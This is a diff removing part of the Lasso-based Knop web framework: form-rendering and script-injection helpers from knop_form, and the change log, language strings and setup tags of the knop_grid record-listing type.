-		if: !(self -> 'noscript') && #usehint -> size > 0;
-			local: 'hintscript'=string;
-			// #usehint is a pair array with name=id
-			iterate: #usehint, (local: 'hintfield');
-				if: (self -> 'fields') >> #hintfield -> name;
-					#onefield = (self -> 'fields') -> (find: #hintfield -> name) -> first -> value;
-					#hintscript += 'setHint(document.getElementById(\'' + (encode_html: #hintfield -> value) + '\'), \'' 
-						+ (#onefield -> (find: 'hint')) + '\');\n';
-				/if;
-			/iterate;
-			
-			self -> (afterhandler: -endscript=#hintscript);
-		/if;
-		if: !(self -> 'noscript') && #focusfield != '';
-			self -> (afterhandler: -endscript='document.getElementById(\'' + #focusfield + '\').focus();document.getElementById(\'' + #focusfield + '\').select();');
-		/if;
-
-		if: (self -> 'render_fieldset_open') && (params -> size == 0 || (local_defined: 'end'));
-			// inner fieldset is open
-			(self -> 'render_fieldset_open') = false;
-			#output += '</fieldset>\n';
-		/if;
-		if: (self -> 'render_fieldset2_open') && (local_defined: 'legend');
-			// inner fieldset is open
-			(self -> 'render_fieldset2_open') = false;
-			#output += '</fieldset>\n';
-		/if;
-
-		if: #renderformEndTag;
-			if: (self -> 'fieldset');
-				#output += '</fieldset>\n';
-			/if;
-		
-			// render closing form tag
-			#output += '</form>';
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-	define_tag: 'renderhtml', -description='Outputs form data as plain HTML, a specific field, a range of fields or all fields of a specific type. \
-			Some form field types are excluded, such as submit, reset, file etc. \
-			Use form -> setformat first to specify the html format, otherwise default format #label#: #field#<br> is used.\n\
-			Parameters:\n\
-			-name (optional) Render only the specified field\n\
-			-from (optional) Render fields from the specified number index or field name\n\
-			-to (optional) Render fields to the specified number index or field name\n\
-			-type (optional) Only render fields of this or these types (string or array)\n\
-			-excludetype (optional) Render fields except of this or these types (string or array)\n\
-			-legend (optional) Groups the rendered fields in a fieldset and outputs a legend for the fieldset\n\
-			-xhtml (optional flag) XHTML valid output',
-		-optional='name', -copy,	// field name
-		-optional='from', -copy, 	// number index or field name
-		-optional='to', -copy, 		// number index or field name
-		-optional='type', -copy,	// only output fields of this or these types (string or array)
-		-optional='excludetype', -copy,	// do not output fields of this or these types (string or array)
-		-optional='legend',			// groups the rendered fields in a fieldset and outputs a legend for the fieldset
-		-optional='xhtml';			// boolean, if set to true adjust output for XHTML
-		local: 'timer'=knop_timer; 
-		
-		local: 'output'=string, 
-			'onefield'=map, 
-			'renderfield'=string, 
-			'renderfield_base'=string, 
-			'renderrow'=string,
-			'fieldvalue'=string,
-			'fieldvalue_array'=array,
-			'options'=array,
-			'usehint'=array;
-
-		
-		// local var that adjust tag endings if rendered for XHTML
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		(local_defined: 'name') && !((self -> 'fields') >> #name) 	? 	return;
-
-		(local_defined: 'name')		? local: 'from'=#name, 'to'=#name;
-		!(local_defined: 'from') 		? local: 'from'=1;
-		!(local_defined: 'to') 			? local: 'to'=(self -> 'fields') -> size;
-		!(local_defined: 'type')		? local: 'type'=(self -> 'validfieldtypes');
-		!(local_defined: 'excludetype')	? local: 'excludetype'=map;
-		#type -> type == 'string' 		? #type = (map: #type);
-		#excludetype -> type == 'string' ? #excludetype = (map: #excludetype);
-
-		// use field name if #from is a string
-		#from -> type == 'string' ? #from = integer: ((self -> 'fields') -> (findindex: #from) -> first);
-		#from == 0 ? #from = 1;
-		// negative numbers count from the end
-		#from < 0 ? #from = (self -> 'fields') -> size + #from;
-
-		// use field name if #to is a string
-		#to -> type == 'string' ? #to = integer: ((self -> 'fields') -> (findindex: #to) -> last);
-		#to == 0 ? #to = (self -> 'fields') -> size;
-		// negative numbers count from the end
-		#to < 0 ? #to = (self -> 'fields') -> size + #to;
-
-		//Sanity check
-		#from > #to ? #to = #from;
-
-		local: 'template'=( (self -> 'template') != '' 
-			? (self -> 'template') 		
-			| '#label#: #field#<br' + #endslash + '>\n' );
-		local: 'buttontemplate'=( (self -> 'buttontemplate') != '' 
-			? (self -> 'buttontemplate') 		
-			| (self -> 'template') != '' 
-			? (self -> 'template')
-			| '#field#\n' );
-		local: 'defaultclass'=( (self -> 'class') != '' 
-			? (self -> 'class') 		
-			| '');
-		if: (local_defined: 'legend');
-			#output += '<fieldset>\n'
-				+ '<legend>' + #legend + '</legend>\n';
-			(self -> 'render_fieldset2_open') = true;
-		/if;
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			#onefield = #fieldpair -> value;
-			#fieldvalue = (#onefield -> (find: 'value'));
-			#fieldvalue_array = #fieldvalue;
-			if: #fieldvalue_array -> type != 'array';
-				if: #fieldvalue_array >> '\r'; // Filemaker value list with multiple checked
-					#fieldvalue_array = #fieldvalue_array -> (split: '\r');
-				else: #fieldvalue_array >> ','; // Other database with multiple checked
-					#fieldvalue_array = #fieldvalue_array -> (split: ',');
-				else;
-					#fieldvalue_array = array: #fieldvalue_array;
-				/if;
-			/if;
-			if: #onefield >> 'options';
-				#options = (#onefield -> find: 'options');
-				// convert types for pair 
-				iterate: #options, (local: 'option');
-					if: #option -> type != 'pair';
-						#option = (pair: #option = #option);
-					/if;
-					// name must be string to make sure comparsions work
-					(#option -> name) = (string: #option -> name);
-				/iterate;
-			/if;
-			if: loop_count >= #from 
-				&& loop_count <= #to
-				&& #type >> #onefield -> (find: 'type')
-				&& !(#excludetype >> #onefield -> (find: 'type'));
-
-				if: #onefield -> (find: 'template') -> size;
-					#renderrow = #onefield -> (find: 'template');
-				else: (map: 'submit', 'reset', 'image') >> #onefield -> (find: 'type');
-					#renderrow=#buttontemplate;
-				else;
-					#renderrow=#template;
-				/if;
-
-				if: (self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type'));
-					#renderrow -> (replace: '#label#:', '');
-					#renderrow -> (replace: '#label#', '');
-				else: (#onefield -> (find: 'label')) != '';
-					#renderrow -> (replace: '#label#', (#onefield -> (find: 'label') ));
-				else: 
-					#renderrow -> (replace: '#label#:', '');
-					#renderrow -> (replace: '#label#', '');
-				/if;
-				if: (map: 'radio', 'checkbox', 'select') >> (#onefield -> (find: 'type'));
-					#renderfield = string;
-					iterate: #fieldvalue_array, local: 'onefieldvalue';
-						if: loop_count > 1;
-							#renderfield += ( (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\n' | ', ');
-						/if;
-						if: #options >> #onefieldvalue;
-							// show the display text for a selected option
-							#renderfield += (encode_break: (#options -> (find: #onefieldvalue) -> first -> value));
-						else;
-							// show the option value itself
-							#renderfield += (encode_break: #onefieldvalue);
-						/if;
-					/iterate;
-				else: (#onefield -> (find: 'type')) == 'html';
-					#renderrow = #template;
-					#renderrow -> (replace: '#label#:', '');
-					#renderrow -> (replace: '#label#', '');
-					#renderrow -> (replace: '#required#', '');
-					#renderfield = #fieldvalue + '\n';
-				else: (#onefield -> (find: 'type')) == 'legend';
-					#renderrow = '';
-					if: (self -> 'render_fieldset_open');
-						#output += '</fieldset>\n';
-						(self -> 'render_fieldset_open') = false;
-					/if;
-					#output += '<fieldset>\n';
-					#output += '<legend>' + (encode_html: #fieldvalue) + '</legend>';
-					(self -> 'render_fieldset_open') = true;
-				else: (#onefield -> (find: 'type')) == 'fieldset';
-					#renderrow = '';
-					if: (self -> 'render_fieldset_open');
-						#output += '</fieldset>\n';
-						(self -> 'render_fieldset_open') = false;
-					/if;
-					if: #fieldvalue != false;
-						#output += '<fieldset>\n<legend></legend>'; // must contain a legend
-						(self -> 'render_fieldset_open') = true;
-					/if;
-				else;
-					#renderfield = (encode_break: #fieldvalue);
-				/if;
-				#renderrow -> (replace: '#field#', #renderfield);
-				#output += #renderrow;
-			/if;
-		/iterate;
-		if: (local_defined: 'legend') && (self -> 'render_fieldset2_open');
-			// inner fieldset is open
-			(self -> 'render_fieldset2_open') = false;
-			#output += '</fieldset>\n';
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #output;
-	/define_tag;
-
-	define_tag: 'getvalue', -description='Returns the current value of a form field. Returns an array for repeated form fields. ',
-		-required='name', -type='string',
-		-optional='index', -type='integer', -copy;
-		!local_defined('index') ? local('index' = 1);
-		#index < 1 ? #index = 1;
-		if: (self -> 'fields') >> #name;
-			if(#index > (self -> 'fields') -> find(#name) -> size);
-				return;
-			/if;
-			return: (self -> 'fields') -> (find: #name) -> get(#index) -> value -> (find: 'value');
-		/if;
-	/define_tag;
-
-	define_tag: 'getlabel', -description='Returns the label for a form field. ',
-		-required='name', -type='string';
-		if: (self -> 'fields') >> #name;
-			return: (self -> 'fields') -> (find: #name) -> first -> value -> (find: 'label');
-		/if;
-	/define_tag;
-
-	define_tag: 'setvalue', -description='Sets the value for a form field. \
-				Either form -> (setvalue: fieldname=newvalue) or form -> (setvalue: -name=fieldname, -value=newvalue)',
-		-required='name',
-		-optional='value',
-		-optional='index', -type='integer', -copy;
-		local: 'timer'=knop_timer; 
-		// either -> (setvalue: 'fieldname'='newvalue') or -> (setvalue: -name='fieldname', -value='newvalue')
-		local: '_name'=#name, '_value'=(local: 'value');
-		!local_defined('index') ? local('index' = 1);
-		#index < 1 ? #index = 1;
-		if: #name -> type == 'pair';
-			#_name = #name -> name;
-			#_value = #name -> value;
-		/if;
-		if: (self -> 'fields') >> #_name;
-			if(#index > (self -> 'fields') -> find(#_name) -> size);
-				return;
-			/if;
-			// first remove value to break reference
-			((self -> 'fields') -> get((self -> 'fields') -> (findindex: #_name) -> get(#index)) -> value) -> (remove: 'value');
-			((self -> 'fields') -> get((self -> 'fields') -> (findindex: #_name) -> get(#index)) -> value) -> (insert: 'value'=#_value);
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'removefield', -description='Removes all form elements with the specified name from the form',
-		-required='name', -type='string';
-		local: 'timer'=knop_timer; 
-		(self -> 'fields') -> (removeall: #name);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'keys', -description='Returns an array of all field names';
-		local: 'timer'=knop_timer; 
-		local: 'output'=array;
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			#output -> (insert: #fieldpair -> name);
-		/iterate;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #output;
-	/define_tag;
-
-
-	define_tag: 'keyvalue'; 			return: (self -> 'db_keyvalue');		/define_tag;
-	define_tag: 'lockvalue'; 			return: (self -> 'db_lockvalue');		/define_tag;
-	define_tag: 'lockvalue_decrypted';
-		(self -> 'database') -> type != 'database' ? return;
-		return: (decrypt_blowfish: (self -> 'db_lockvalue'), -seed=(self -> 'database' -> 'lock_seed'));
-	/define_tag;
-	define_tag: 'database'; 			return: (self -> 'database');			/define_tag;
-
-	define_tag: 'formmode', -description='Returns add or edit after for -> init has been called';
-		local: 'timer'=knop_timer; 
-		if: (self -> getbutton) == 'add';
-			// this is needed to keep the right form mode after a failed add
-			(self -> 'formmode') = 'add';
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
- 		return: (self -> 'formmode');
- 	/define_tag;
-
-	define_tag: 'error_code';
-		// custom error_code for knop_form
-		if: (self -> 'error_code');
-			return: integer: (self -> 'error_code');
-		else: (self -> 'errors') -> type == 'array' && (self -> 'errors') -> size > 0;
-			(self -> 'error_code') = 7101;
-			return: (self -> 'error_code');
-		else;
-			return: 0;
-		/if;
-	/define_tag;
-
-
-	
-	define_tag: 'afterhandler', -description='Internal member tag. Adds needed javascripts through an atend handler that will be processed when the entire page is done. \n\
-			Parameters:\n\
-			-headscript (optional) A single script, will be placed before </head>  (or at top of page if </head> is missing)\n\
-			-endscript (optional) Multiple scripts (no duplicates), will be placed before </body> (or at end of page if </body> is missing)',
-		-optional='headscript', -type='string',
-		-optional='endscript', -type='string';
-		// adds needed javascripts through an atend handler that will be processed when the entire page is done
-
-		if: !(var_defined: 'knop_afterhandler_data');
-			var: 'knop_afterhandler_data'=map;
-			define_atend: { // this will run after the page is done processing
-				if: $knop_afterhandler_data >> 'headscript';
-					// put before </head> or at beginning of page
-					local: 'scriptdata'='<script language="javascript" type="text/javascript">\n/*<![CDATA[ */\n' 
-						+ ($knop_afterhandler_data -> (find: 'headscript') -> join('\n')) 
-						+ '\n/* ]]> */\n</script>\n';
-					if: content_body >> '</head>';
-						content_body -> (replace: '</head>', #scriptdata + '</head>');
-					else;
-						content_body = #scriptdata + content_body;
-					/if;
-				/if;
-				if: $knop_afterhandler_data >> 'endscript';
-					// put before </body> or at end of page
-					local: 'scriptdata'='\n\n\n\n<script language="javascript" type="text/javascript">\n/* <![CDATA[ */\n' 
-						+ ($knop_afterhandler_data -> (find: 'endscript') -> join('\n')) 
-						+ '\n/* ]]> */\n</script>\n';
-					if: content_body >> '</body>';
-						content_body -> (replace: '</body>', #scriptdata + '</body>');
-					else;
-						content_body += #scriptdata;
-					/if;
-				/if;
-			};
-		/if;
-		
-		if: (local_defined: 'headscript');
-			// add to current headscript
-			if: $knop_afterhandler_data !>> 'headscript';
-				$knop_afterhandler_data -> (insert: 'headscript' = array);
-			/if;
-			if: $knop_afterhandler_data -> (find: 'headscript') !>> #headscript;
-				$knop_afterhandler_data -> (find: 'headscript') -> insert(#headscript);
-			/if;
-		/if;
-		if: (local_defined: 'endscript');
-			// add to current endscript
-			if: $knop_afterhandler_data !>> 'endscript';
-				$knop_afterhandler_data -> (insert: 'endscript' = array);
-			/if;
-			if: $knop_afterhandler_data -> (find: 'endscript') !>> #endscript;
-				$knop_afterhandler_data -> (find: 'endscript') -> insert(#endscript);
-			/if;
-		/if;
-	/define_tag;
-/define_type;
-
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop_form
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_grid
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'grid',
-	'knop_base',
-	-namespace='knop_';
-//	-prototype;
-
-	local: 'version'='2011-01-01',
-		'description'='Custom type to handle data grids (record listings).';
-
-/*
-
-CHANGE NOTES
-2011-01-01	SP	Correction of invalid HTML in <thead> and <tr>
-2010-12-23	SP	Corrected pagination bug for -numbered.
-2010-11-17	JC	Added -startwithfooter flag to grid->renderhtml.  This moves the footer before the column titles in the table header.
-2010-11-17	JC	Changed rawheader inclusion to work even if there's no quicksearch for a grid
-2010-05-14	JC	Added span separation on grid footer for better styling
-2010-03-06	SP	Changed default behavior of ->sortparams and ->quicksearch with -sql to add backticks between the table and column names.  Now JOINs may be used.
-2010-03-06	SP	Added ->sortparams and ->quicksearch with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.
-2010-01-27	JC	Adjusted the id support
-2010-01-25	JC	Added support for optional id, used by table, quicksearch and quicksearch_reset
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-08-26	JS	Corrected prev/next links when no nav is defined for the grid object
-2009-06-29	JS	->renderlisting: documentation correction (renderlisting never calls renderfooter). 
-2009-01-11	JS	->renderlisting: Made sure that template isn't applied on NULL field values since that would cause an error with ->replace 
-2008-12-29	JC	Support for optional classes in table header
-2008-11-27	JC	-> implemented support for td specific classes. The class is inserted in both the TH and TD tag for the specified field
-2008-09-24	JS	->sortparams: fieldnames specified by the -sort parameter are now validated so they exist in the database
-2008-09-24	JS	->sortparams, ->quicksearch: Added protection against backtick sql injection in MySQL object names
-2008-09-10	JS	-numbered can now be specified at oncreate in addition to  ->renderhtml and ->renderfooter. 
-2008-09-08	JS	->sortfield changed so defaultsort is honored even if -nosort is specified (-nosort is only used to prevent the user from changing sort order on the fly)
-2008-09-08	JS	->renderlisting and ->renderfooter optimized by caching the result of nav->url. 
-2008-05-15	JS	->renderfooter: minor adjustment to numbered pagination links
-2008-05-14	JS	->renderfooter (and ->renderhtml): added -numbered as option to get google style numbered pagination links. Render the grid with -numbered (defaults to show 6 page number links plus the far ends) or -numbered=10 or another number. 
-2008-05-13	JS	Added ->renderlisting which is now part of ->renderhtml for more flexibility
-2008-02-25	JS	->renderheader and ->renderfooter calls nav -> url with -getargs 
-2008-01-22	JS	->renderheader, ->renderfooter, ->renderhtml: addded -autoparams to nav -> url used in links since url was changed to default to no autoparams. 
-2008-01-22	JS	->renderheader, ->renderfooter, ->renderhtml: improved support for param based navigation method  in links, cleaned up linking to use nav -> url instead of self -> urlparams when nav is available
-2008-01-22	JC	->quicksearch: Changed wordseparators so that \r and \n aren't placed as \r\n, otherwise they are treated as a single character by ->split. 
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-03	JS	Added optional -language parameter to set the initial language for the grid object
-2007-12-03	JS	Added -> lang to provide a reference to the knop_lang object that is used for localized strings
-2007-12-03	JS	Added localized strings for English and Swedish
-2007-12-03	JS	Added knop_lang to handle localized strings
-2007-11-11	JC	Added optional -rawheader for extra header content to be inserted before the Quicksearch form
-2007-10-23	JS	->renderheader: added class="grid" to the opening table tag to be able to isolate the css specifications
-2007-10-03	JS	->renderfooter: added unique classes for each type of prev/next link to be able to replace with images using css
-2007-10-03	JS	->renderfooter: Changed prev/next link texts to simple |< << >> >| instead of unicode glyphs
-2007-09-20	JS	Postparams are only sent along for nav params (not "-" params)
-2007-09-07	JS	Also send postparams along in prev/next links (not only getparams)
-2007-09-06	JS	If nav has params defined, those params will be sent along with prev/next links
-2007-09-06	JS	Added encode_url for link params
-2007-09-06	JS	Changed -action to -formaction in the quicksearch form
-2007-08-08	JS	->urlargs: Added exception for -session
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-05-30	JS	->quicksearch: added \r and \n as word separators. 
-2007-05-03	JS	->addfield: Added check for empty dbfield name before adding to dbfieldmap
-2007-04-19	JS	->quicksearch: added  -value (flag) that makes quicksearch output just the value of the quicksearch field instead of a query
-2007-04-13	JS	->oncreate: added -nosort as global flag (overrides column specific sort options)
-2007-04-13	JS	->renderfooter: Added tbody to footer to make it pass validation, but it's still not semantically correct. 
-2007-04-13	JS	Changed field type for quicksearch for non-WebKit based browsers
-2007-04-10	JS	->quicksearch: Added @ as word separator for "word begins with" search
-2007-04-10	JS	->quicksearch: Added -contains as option to perform a simple contains search instead of emulating "word begins with" search
-2007-04-10	JS	->renderheader: When grid has a defaultsort, there should be no "unsort" option in the sortable headings
-2007-04-10	JS	->insert: (-defaultsort='desc') or (-defaultsort='descending') makes the default sort order sort in descending order
-2007-04-04	JS	->addfield: -template can now also be a compound expression
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	Added support for FileMaker with quicksearch (untested)
-2007-03-01	JS	Changed all texts to English
-2007-02-07	JS	Removed classs="first" and class="notopborder" since CSS border-collapse: collapse; eliminates the need
-2007-02-05	JS The -keyvalue parameter for url edit links can be given another name by specifying -keyparamname in addfield
-2007-01-31	JS	->addfield: #value# can be used in -url, as a way to provide mailto links etc in lists
-2007-01-30	JS	Sortable columns now thave three states instead of two: sorted ascending, sorted descending and unsorted. 
-2007-01-30	JS	Improvements to quicksearch, to emulate "word begins with"  searches
-2007-01-26	JS	Added support for quicksearch field in grid header. Specify -quicksearch at ->oncreate, and tell what fields to search by specifying -quicksearch for those fields at ->addfield. 
-				Fields can be search only (no display) by leaving out name and label. All specified fields are searched word for word of thew search string. 
-				Use ->quicksearch to get the search parameters (optionally -sql)
-2007-01-26	JS	Added ->urlargs to get a querystring with all "-" GET params, except those in optional -except string or array parameter. 
-2007-01-22	JS	Adjustments to highlighting and "(redigera)"-link for records with empty values in the linked field
-2007-01-19	JS	Added href titles to sort links and prevnext links
-2007-01-19	JS	Corrected sortparams when no sortfield is specified
-2007-01-19	JS	Addded go to first page, go to last page in footer
-2007-01-19	JS	Added member tag page_skiprecords to help correcting out of bounds page numbers
-2007-01-19	JS	Added member tag lastpage
-2007-01-18	JS	Support for highlighting of affected record after edit or update (class name "highlight")
-2007-01-17	JS	Added addfield: -template
-
-TODO
-Make it possible for knop_grid to work independently of a knop_database object so other types of listings can bre created. 
-Language of quicksearch buttons can't be changed after the grid has been created
-tbody is used in renderfooter, which is not semantically correct. can't use tfoot though since the footer is rendered twice. 
-Move templates to a member tag to be make it easier to subclass
-Change ->addfield to ->insert and make ->addfield deprecated
-
-*/
-
-	// instance variables
-	local: 'fields'=array,
-		'dbfieldmap'=map,
-		'sortfield'=string,
-		'defaultsort'=string,
-		'page'=integer,
-		'sortdescending'=false,
-		'database'=null,
-		'nav'=null,
-		'debug_trace'=array,
-		'quicksearch'=string,
-		'quicksearch_form',
-		'quicksearch_form_reset',
-		'rawheader' = string, // added by Jolle 071111
-		'class' = string, // Added by Jolle 081229
-		'tbl_id' = 'grid', // Added by Jolle 100125
-		'qs_id' = 'quicksearch', // Added by Jolle 100125
-		'qsr_id' = 'qs_reset', // Added by Jolle 100125
-		'quicksearch_fields'=array,
-		'footer' = string, // Added by Jolle 101117
-		'lang'=(knop_lang: -default='en', -fallback),		// language strings object 
-		'error_lang'=(knop_lang: -default='en', -fallback),
-		'numbered'=false,
-		'nosort';
-
-	#lang -> (addlanguage: -language='en', -strings=(map: 
-		'quicksearch_showall' = 'Show all',
-		'quicksearch_search' = 'Search',
-		'linktext_edit' = '(edit)',
-		'linktitle_showunsorted' = 'Show unsorted',
-		'linktitle_changesort' = 'Change sort order to',
-		'linktitle_ascending' = 'ascending',
-		'linktitle_descending' = 'descending',
-		'linktitle_sortascby' = 'Sort ascending by',
-		'linktitle_gofirst' = 'Go to first page',
-		'linktitle_goprev' = 'Go to previous page',
-		'footer_shown' = '#1# - #2# of',
-		'footer_found'='found',
-		'linktext_gotopage'='Go to page', // SP customization
-		'linktitle_gonext' = 'Go to next page',
-		'linktitle_golast' = 'Go to last page',
-
-		// language neutral strings, only need to be set for the default language
-		'linktext_first'='|&lt;',
-		'linktext_prev'='&lt;&lt;',
-		'linktext_next'='&gt;&gt;',
-		'linktext_last'='&gt;|'
-			));
-			
-	#lang -> (addlanguage: -language='sv', -strings=(map: 
-		'quicksearch_showall' = 'Visa alla',
-		'quicksearch_search' = 'Sök',
-		'linktext_edit' = '(redigera)',
-		'linktitle_showunsorted' = 'Visa osorterade',
-		'linktitle_changesort' = 'Ändra sorteringsordning till',
-		'linktitle_ascending' = 'stigande',
-		'linktitle_descending' = 'fallande',
-		'linktitle_sortascby' = 'Sortera i stigande ordning efter',
-		'linktitle_gofirst' = 'Gå till första sidan',
-		'linktitle_goprev' = 'Gå till föregående sida',
-		'footer_shown' = '#1# - #2# av',
-		'footer_found'='hittade',
-		'linktext_gotopage'='Gå till sida', // SP cüstømizätiøn
-		'linktitle_gonext' = 'Gå till nästa sida',
-		'linktitle_golast' = 'Gå till sista sidan'
-	));
-	
-	define_tag: 'oncreate', -description='Parameters:\n\
-			-database (required database) Database object that the grid object will interact with\n\
-			-nav (optional nav) Navigation object to interact with\n\
-			-quicksearch (optional) Label text for the quick search field\n\
-			-rawheader (optional) Extra html to be inserted in the grid header\n\
-			-class (optional) Extra classes to be inserted in the grid header. The standard class "grid" is always inserted\n\
-			-id (optional) Creates a custom id used for table, quicksearch and quicksearch_reset\n\
-			-nosort (optional flag) Global setting for the entire grid (overrides column specific sort options)\n\
-			-language (optional) Language to use for the grid, defaults to the browser\'s preferred language\n\
-			-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted. Can be specified in ->renderhtml as well. ',
-		-required='database', -type='database',
-		-optional='nav', -type='nav',
-		-optional='quicksearch',
-		-optional='rawheader',
-		-optional='class',
-		-optional='id',
-		-optional='nosort',
-		-optional='language',
-		-optional='numbered';
-		local: 'timer'=knop_timer; 
-		
-		local: 'lang'=@(self -> 'lang');
-		
-		if: (local_defined: 'language');
-			#lang -> (setlanguage: #language);
-		/if;
-		
-		// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. 
-		local_defined('database') ? (self -> 'database' = @#database);
-		local_defined('nav') ? (self -> 'nav' = @#nav);
-
-		(self -> 'nosort')=local_defined('nosort');
-
-		if(local_defined('numbered'));
-			(self -> 'numbered')=((#numbered !== false) ? integer(#numbered) | false);
-		/if;
-		(local_defined('class') && #class -> type == 'string') ?
-			(self -> 'class') = #class;
-		
-		if(local_defined('id') && #id -> type == 'string');
-			(self -> 'tbl_id') = #id + '_grid';
-			(self -> 'qs_id') = #id + '_quicksearch';
-			(self -> 'qsr_id') = #id + '_qs_reset';
-		/if;
-
-
-		local: 'clientparams'=client_getparams;
-		#clientparams -> (merge: client_postparams);
-		if: !(self -> 'nosort');
-			(self -> 'sortfield') = (#clientparams >> '-sort' ? (#clientparams -> (find: '-sort') -> first -> value) | string);
-			(self -> 'sortdescending') = (#clientparams >> '-desc');
-		/if;
-		(self -> 'page') = (#clientparams >> '-page' ? (integer: (#clientparams -> (find: '-page') -> first -> value)) | 1);
-		(self -> 'page') < 1 ? (self -> 'page') = 1;
-
-		if: (local_defined: 'quicksearch');
-			if: #quicksearch != '';
-				(self -> 'quicksearch') = #quicksearch;
-			else;
-				(self -> 'quicksearch') = 'Quicksearch';
-			/if;
-			(self -> 'quicksearch_form') = (knop_form: -name='quicksearch', -id = (self -> 'qs_id'), -formaction='./', -method='get', -template='#field#\n', -noautoparams);
-			(self -> 'quicksearch_form_reset') = (knop_form: -name='quicksearch_reset', -id = (self -> 'qsr_id'), -formaction='./', -method='get', -template='#field#\n', -noautoparams);
-			local: 'autosavekey'=server_name + response_path;
-			if: (self -> 'nav') -> type =='nav' && (self -> 'nav') -> 'navmethod'=='param';
-				(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-path', -value=((self -> 'nav') -> path));
-				(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-path', -value=((self -> 'nav') -> path));
-				#autosavekey -> (removetrailing: '/');
-				#autosavekey += '/' + ((self -> 'nav') -> path);
-			/if;
-			if: (self -> 'sortfield') != '' && !(self -> 'nosort');
-				(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-sort', -value=(self -> 'sortfield'));
-				(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-sort', -value=(self -> 'sortfield'));
-				if: (self -> 'sortdescending');
-					(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-desc');
-					(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-desc');
-				/if;
-			/if;
-			if: client_type >> 'WebKit';
-				// only use<input type=search" for WebKit based browsers like Safari
-				(self -> 'quicksearch_form') -> (addfield: -type='search', -name='-q', -hint=(self -> 'quicksearch'), 
-					-size=15, -id = (self -> 'qs_id') + '_q', -raw='autosave="' + #autosavekey + '" results="10"');
-			else;
-				(self -> 'quicksearch_form') -> (addfield: -type='text', -name='-q', -hint=(self -> 'quicksearch'), 
-					-size=15, -id = (self -> 'qs_id') + '_q');
-			/if;
-			(self -> 'quicksearch_form') -> (addfield: -type='submit', -name='s', -value=(#lang -> quicksearch_search));
-			if: #clientparams >> '-q';
-				(self -> 'quicksearch_form') -> (setvalue: '-q'=(#clientparams -> (find: '-q') -> first -> value));
-				(self -> 'quicksearch_form_reset') -> (addfield: -type='submit', -name='a', -value=(#lang -> quicksearch_showall));
-			else;
-				(self -> 'quicksearch_form_reset') -> (addfield: -type='submit', -name='a', -value=(#lang -> quicksearch_showall), -disabled);
-			/if;
-		/if;
-
-		/* Added by JC 071111 to handle extra form included in the header */
-		if: (local_defined: 'rawheader');
-			if: #rawheader -> type == 'string';
-				(self -> 'rawheader') = #rawheader;
-			else;
-				(self -> 'rawheader') = '';
-			/if;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'onassign', -required='value', -description='Internal, needed to restore references when ctype is defined as prototype';
-		// recreate references here
-		(self->'database') = @(#value -> 'database');
-		(self->'nav') = @(#value -> 'nav');
-	/define_tag;
-
-	define_tag: 'lang', -description='Returns a reference to the language object';
-		return: @(self -> 'lang');
-	/define_tag;
-
-	
-	define_tag: 'addfield', -description='Adds a column to the record listing. \n\
-			Parameters:\n\
-			-name (optional) Name of the field. If not specified, the field will be omitted from the grid. \
-				Useful to be able to quicksearch in fields not shown in the grid. \
-				In that case -dbfield must be specified. \n\
-			-label (optional) Column heading\n\
-			-dbfield (optional) Corresponding database field name (name is used if dbfield is not specified)\n\
-			-width (optional) Pixels (CSS width)\n\
-			-url (optional) Columns will be linked with this url as base. Can contain #value# for example to create clickable email links. \n\
-			-keyparamname (optional) Param name to use instead of the default -keyvalue for edit links\n\
-			-defaultsort (optional flag) This field will be the default sort field\n\
-			-nosort (optional flag) The field header should not be clickable for sort\n\
-			-template (optional) Either string to format values, compound expression or map containing templates to display individual values in different ways, use -default to display unknown values, use #value# to insert the actual field value in the template. \n\t\
-				If a compound expression is specified, the field value is passed as param to the expression and can be accessed as params. \n\t\
-				Example expressions: \n\t\
-				{return: params} to return just the field value as is\n\t\
-				{return: (date: (field: "moddate")) -> (format: "%-d/%-m")} to return a specific field as formatted date\n\
-			-quicksearch (optional flag) If specified, the field will be used for search with quicksearch',
-		-optional='name',
-		-optional='label',
-		-optional='dbfield',
